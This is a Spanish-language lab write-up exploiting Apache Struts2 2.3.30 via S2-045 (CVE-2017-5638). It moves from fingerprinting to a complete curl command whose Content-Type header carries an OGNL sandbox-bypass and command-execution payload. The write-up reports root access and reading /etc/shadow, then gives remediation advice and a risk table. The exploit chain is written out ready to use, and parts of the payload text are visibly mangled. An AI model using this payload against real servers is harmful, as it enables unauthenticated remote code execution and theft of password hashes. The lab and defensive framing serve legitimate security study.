

Después de iniciar el contenedor, los registros de Struts2 muestran que la aplicación carga archivos de configuración conocidos como struts-default.xml, struts-plugin.xml y struts.xml. Esto confirma que el framework en uso es Apache Struts2.

Un punto notable se encuentra en la línea:
Choosing bean (jakarta) for (org.apache.struts2.dispatcher.multipart.MultiPartRequest)
Esta línea indica que Struts2 está eligiendo el parser multipart de Jakarta (analizador de datos de subida multipart) para manejar solicitudes de tipo multipart/form-data, que se encuentran comúnmente en la funcionalidad de subida de archivos.
Esta es una señal crucial al analizar S2-045 / CVE-2017-5638, ya que esta vulnerabilidad está relacionada con el proceso en el que Struts2 maneja errores al analizar solicitudes multipart, especialmente con una cabecera Content-Type no válida.
Sin embargo, este registro solo demuestra que la aplicación usa Struts2 y un manejador multipart de estilo Jakarta. Aún no es suficiente para concluir que la aplicación es definitivamente vulnerable. Para confirmarlo, necesitamos determinar la versión de struts2-core y compararla con el rango de versiones afectadas.



Al acceder al servicio web con curl, las cabeceras de respuesta muestran que la aplicación se ejecuta en Jetty 9.2.11.v20150529. Esta información ayuda a identificar el entorno que ejecuta la aplicación (contenedor de servlets), pero no revela directamente la versión de Struts2.
La interfaz web devuelve la página Struts2 Showcase - Fileupload sample, con un formulario de subida que usa:
method="POST" enctype="multipart/form-data" action="/upload.action"
Esto coincide con el registro anterior donde Struts2 eligió jakarta para MultiPartRequest: la aplicación efectivamente tiene un flujo de manejo de subida de archivos mediante multipart/form-data.
⇒ Pensamiento: El endpoint /upload.action usa multipart/form-data, lo que coincide con el mecanismo que Struts2 procesa a través de Jakarta MultiPartRequest. Esto es una señal que refuerza la sospecha de S2-045/CVE-2017-5638, pero necesitamos determinar la versión de Struts2 antes de concluir que la aplicación es vulnerable. A continuación, aún se necesita una verificación más profunda sobre la versión de struts2-core y cómo maneja la aplicación los errores al recibir un Content-Type no válido.
Después de identificar que la aplicación tiene un endpoint de subida que usa multipart/form-data, el siguiente paso del análisis es encontrar la versión real de Struts2. Esto es crucial porque las señales anteriores solo mostraban que la aplicación tiene un mecanismo relacionado con la subida multipart, lo cual aún no es suficiente para concluir que es vulnerable.

Después de identificar el contenedor correcto que sirve el endpoint 8001, la comprobación de las librerías se realiza directamente dentro del contenedor project1-lab01-1.
El resultado encontró el archivo struts2-core:
/root/.m2/repository/org/apache/struts/struts2-core/2.3.30/struts2-core-2.3.30.jar
A partir de esta ruta, podemos determinar que la aplicación usa Apache Struts2 2.3.30.

Comparando esto con la vulnerabilidad publicada CVE-2017-5638 / S2-045, esta afecta a muchas versiones antiguas de Struts2, incluyendo la rama 2.3.x anterior al parche. Al combinarlo con:
Framework: Apache Struts2 Version: 2.3.30 Multipart parser: Jakarta Endpoint: /upload.action Content-Type: multipart/form-data
La cadena de condiciones del análisis se vuelve más clara:
`Struts2 Version 2.3.30 < Version 2.3.32
Sin embargo, desde una perspectiva de análisis, una versión vulnerable solo es evidencia de la posibilidad de verse afectada. Para confirmarlo a nivel de comportamiento, necesitamos enviar una solicitud multipart anómala y observar la respuesta/registros para ver si entra en la rama de manejo de errores del parser multipart de Struts2.
⇒ Pensamiento: En este punto, ya no se trata solo de identificar el framework; la versión 2.3.30 confirma que la aplicación se encuentra dentro del rango de versiones afectadas por S2-045/CVE-2017-5638. El paso restante es verificar el comportamiento del manejo de errores multipart para completar la cadena de evidencia.

Necesitamos comprobar si las solicitudes enviadas a /upload.action realmente pasan por el mecanismo de procesamiento multipart de Struts2. Aquí, uso el comando curl con la opción -F para probar el mecanismo de manejo. Y el resultado devuelto se desglosa en partes:
`
⇒ Una solicitud válida demuestra que /upload.action efectivamente pasa por el mecanismo de subida multipart porque curl -F genera multipart/form-data y el servidor puede analizar cada parte de la solicitud.


Después de enviar una solicitud declarando Content-Type como multipart/form-data pero con un cuerpo que no se ajusta a la estructura multipart, el servidor aún devuelve HTTP 200 OK. Sin embargo, los campos ContentType, FileName, File y Caption están vacíos. Al revisar los registros de Docker, notamos que no hay boundary (cadena separadora entre las partes del multipart), y el cliente aún recibe HTTP 200 OK. No obstante, Struts2 en realidad encountered an error al procesar la solicitud.
Esto demuestra la cadena de evidencia:
Faulty multipart request → Struts2 wraps request → MultiPartRequestWrapper is called → JakartaMultiPartRequest parses request → FileUploadException due to missing boundary
⇒ Coincide con los componentes relacionados con S2-045/CVE-2017-5638. Por lo tanto, la cadena de condiciones es más completa: versión vulnerable, parser Jakarta, endpoint de subida y la solicitud defectuosa entra en la rama correcta de procesamiento multipart.
El punto crítico de S2-045/CVE-2017-5638 no solo reside en que el multipart parser falle. El error del parser es solo la condición de activación inicial. La parte peligrosa reside en cómo Struts2 maneja posteriormente el mensaje de error. En las versiones afectadas de Struts2, cuando el multipart parser encuentra un error, el contenido del error puede introducirse en el mecanismo de manejo de mensajes de Struts2. Si un atacante controla parte de los datos que aparecen en el error, especialmente de la cabecera Content-Type, esos datos pueden ser evaluados por Struts2 mediante OGNL (Object-Graph Navigation Language - el lenguaje de expresiones de Struts/XWork).
Pensamiento:
Anomalous Content-Type → Jakarta multipart parser parsing error → Struts2 generates/logs error message → error message goes through expression evaluation mechanism → if malicious OGNL is present, it can lead to RCE
Al identificar que el objetivo usa Struts2, y dado que Struts2 usa OGNL como su motor de expresiones, buscar en PayloadsAllTheThings muestra que inyectar new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()) en Struts2 fallará porque Struts2 tiene un sandbox que bloquea el acceso a java.lang.Runtime.

⇒ Ensambla el payload encontrado en la estructura de explotación de Struts2:
Activar el parser de Jakarta
(#_="multipart/form-data")
Evadir el sandbox de Struts2 (Requerido)
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))
Payload de ejecución de comandos
(new java.lang.String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))
Sin embargo, al ejecutar el payload en la práctica, nos encontramos con dos problemas:
readAllBytes() solo es compatible a partir de Java 9. Si insistimos en usarla, OGNL fallará silenciosamente y devolverá una página HTML en blanco. Esto se resuelve cambiando al uso de la clase IOUtils de la librería org.apache.commons.io (siempre disponible en Struts2) para leer el flujo.HttpServletResponse, usando getWriter().println() para imprimir la salida primero, y luego llamando a flush() y close() para terminar la conexión inmediatamente. Esto obliga al servidor a devolver el resultado limpio de la ejecución del comando, evitando toda la interfaz HTML basura.⇒ Reensamblando las modificaciones anteriores, obtenemos el comando curl completo (usando ProcessBuilder + IOUtils + Response Writer):
curl -i -s -X POST "http://192.168.3.137:8001/doUpload.action" \
-H 'Content-Type: %{(#_="multipart/form-data").(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{"cmd.exe","/c",#cmd}:{"/bin/bash","-c",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().println(#ros)).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().flush()).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().close())}' \
-d "foo=bar"

¡¡¡Explotación exitosa!!!
Aunque logramos RCE con privilegios de root, cada comando debe enviarse mediante una solicitud HTTP separada, lo que proporciona un entorno no interactivo. Una Reverse Shell permite establecer una sesión persistente, interactuando directamente con el sistema objetivo como si estuvieras sentado frente a la máquina, sirviendo para la recopilación de información y una post-explotación más profunda.
Verificación de privilegios
Después de una explotación exitosa, verifica los privilegios en el sistema:
uid=0(root) gid=0(root) groups=0(root)
→ La aplicación se ejecuta con privilegios root — no se necesita escalada de privilegios.
Recopilación de datos sensibles
Lee el archivo /etc/shadow (el archivo que contiene los hash de contraseñas, al que solo root tiene permiso de acceso):

→ Demuestra que el atacante tiene acceso completo de lectura/escritura a los archivos del sistema, incluidos los más sensibles.
Nota sobre la Reverse Shell
El establecimiento de la reverse shell no tuvo éxito porque el contenedor Docker en Windows usa una red interna (bridge/NAT); el contenedor no puede conectarse de vuelta a la máquina del atacante (Kali) en la LAN local. Sin embargo, esto no afecta la gravedad de la vulnerabilidad: el atacante logró RCE con privilegios de root y puede ejecutar cualquier comando en el sistema.
La vulnerabilidad de inyección OGNL (CVE-2017-5638 / S2-045) en este sistema se evalúa en el nivel de riesgo más alto:
Para remediar completamente esta vulnerabilidad, los equipos de administración de sistemas y desarrollo deben implementar las siguientes medidas (ordenadas por prioridad):
Prioridades urgentes (a corto plazo):
JakartaMultiPartRequest.root. Se debe crear un usuario dedicado (por ejemplo, struts_user) con los privilegios mínimos necesarios para ejecutar la aplicación.Prioridades altas (a largo plazo y defensa en profundidad):
%{...}, ${...}, ognl, java.lang.ProcessBuilder) en la cabecera Content-Type.Pell o COS en el archivo de configuración struts.xml (struts.multipart.parser=cos).| Criterio | Evaluación | Detalles |
|---|
| Puntuación CVSS | 10.0 (Crítico) | Puntuación máxima absoluta. |
| Autenticación | No requerida | El atacante no necesita una cuenta ni haber iniciado sesión para explotar esto. |
| Complejidad | Muy baja | Solo requiere enviar una única solicitud HTTP (POST) que contenga el payload en la cabecera Content-Type. |
| Privilegios obtenidos | root | Control total sobre la aplicación/contenedor en el nivel de privilegio más alto, con la capacidad de leer/escribir cualquier archivo (como /etc/shadow). |
| Movimiento lateral | Alto | Desde el contenedor comprometido, el atacante puede escanear la red interna (LAN) y atacar otros contenedores o servidores host. |